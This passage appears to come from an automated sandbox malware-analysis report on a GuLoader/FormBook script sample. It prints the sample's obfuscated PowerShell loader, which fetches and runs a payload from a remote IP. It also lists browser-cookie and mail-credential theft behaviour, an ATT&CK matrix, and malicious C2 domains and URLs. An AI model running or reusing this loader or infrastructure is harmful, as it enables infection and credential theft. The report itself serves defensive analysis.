') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5	Jump to behavior

Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	11 Windows Management Instrumentation	32 Scripting	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	412 Process Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	412 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ordine_doc_419024001904.wsf	42%	ReversingLabs	Script-WScript.Trojan.Guloader
Ordine_doc_419024001904.wsf	43%	Virustotal		Browse

Source	Detection	Scanner	Link
www.tyaer.com	11%	Virustotal	Browse
www.oyoing.com	10%	Virustotal	Browse
www.megabet303.lol	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.m	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://87.121.105.163/icjFpYDkBweqyeZ252.binr	0%	Avira URL Cloud	safe
http://87.121.105.163/icjFpYDkBweqyeZ252.bin1	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
http://87.121.105.163/icjFpYDkBweqyeZ252.binMinnsTjeduelvalenza.it/ka/icjFpYDkBweqyeZ252.bin	0%	Avira URL Cloud	safe
http://www.oyoing.com/gnbc/?BP-t5v1=C1gai5pWl56CEUX9IJicnlurrW3FMhatoBDmIFOQ7zGon0Xv0KBemEgaA/rlfkMV	100%	Avira URL Cloud	malware
http://www.oyoing.com/;a3	100%	Avira URL Cloud	malware
http://87.121.105.163	0%	Avira URL Cloud	safe
http://www.microsoft.co	1%	Virustotal		Browse
http://87.121.105.163/Acariatre43.chm	0%	Avira URL Cloud	safe
http://87.121.105.163/icjFpYDkBweqyeZ252.binllI	0%	Avira URL Cloud	safe
http://87.121.105.163/Acariatre43.chmXR	0%	Avira URL Cloud	safe
http://87.121.105.163	18%	Virustotal		Browse
http://87.121.105.163/icjFpYDkBwd	0%	Avira URL Cloud	safe
http://87.121.105.163/Acariatre43.chmP	0%	Avira URL Cloud	safe
http://www.tyaer.com/gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g==	100%	Avira URL Cloud	malware
http://87.121.105.163/icjFpYDkBweqyeZ252.bin;	0%	Avira URL Cloud	safe
http://87.121.105.163/Acariatre43.chm	18%	Virustotal		Browse
http://87.121.105.163/icjFpYDkBweqyeZ252.bin	0%	Avira URL Cloud	safe
http://87.121.H	0%	Avira URL Cloud	safe
http://87.121.105.163/icjFpYDkBweqyeZ252.bin	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.oyoing.com	127.0.0.1	true	false	10%, Virustotal, Browse	unknown
www.tyaer.com	47.91.88.207	true	true	11%, Virustotal, Browse	unknown
www.megabet303.lol	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://87.121.105.163/Acariatre43.chm	false	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.tyaer.com/gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g==	true	Avira URL Cloud: malware	unknown
http://87.121.105.163/icjFpYDkBweqyeZ252.bin	false	17%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.105.163/icjFpYDkBweqyeZ252.binMinnsTjeduelvalenza.it/ka/icjFpYDkBweqyeZ252.bin	wab.exe, 00000009.00000002.2703035148.000000001FC90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://www.oyoing.com/gnbc/?BP-t5v1=C1gai5pWl56CEUX9IJicnlurrW3FMhatoBDmIFOQ7zGon0Xv0KBemEgaA/rlfkMV	AtBroker.exe, 0000000C.00000002.3227176757.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007D2D000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.105.163/icjFpYDkBweqyeZ252.bin1	wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000002.00000002.2458414938.000001AE312AF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://87.121.105.163/icjFpYDkBweqyeZ252.binr	wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000002.00000002.2457236271.000001AE2E665000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.oyoing.com/;a3	AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://87.121.105.163	powershell.exe, 00000002.00000002.2458414938.000001AE31CDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2458414938.000001AE30304000.00000004.00000800.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
http://87.121.105.163/icjFpYDkBweqyeZ252.binllI	wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.105.163/Acariatre43.chmXR	powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://87.121.105.163/icjFpYDkBwd	wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://87.121.105.163/Acariatre43.chmP	powershell.exe, 00000002.00000002.2458414938.000001AE30304000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 00000005.00000002.2400899960.0000000006FF1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
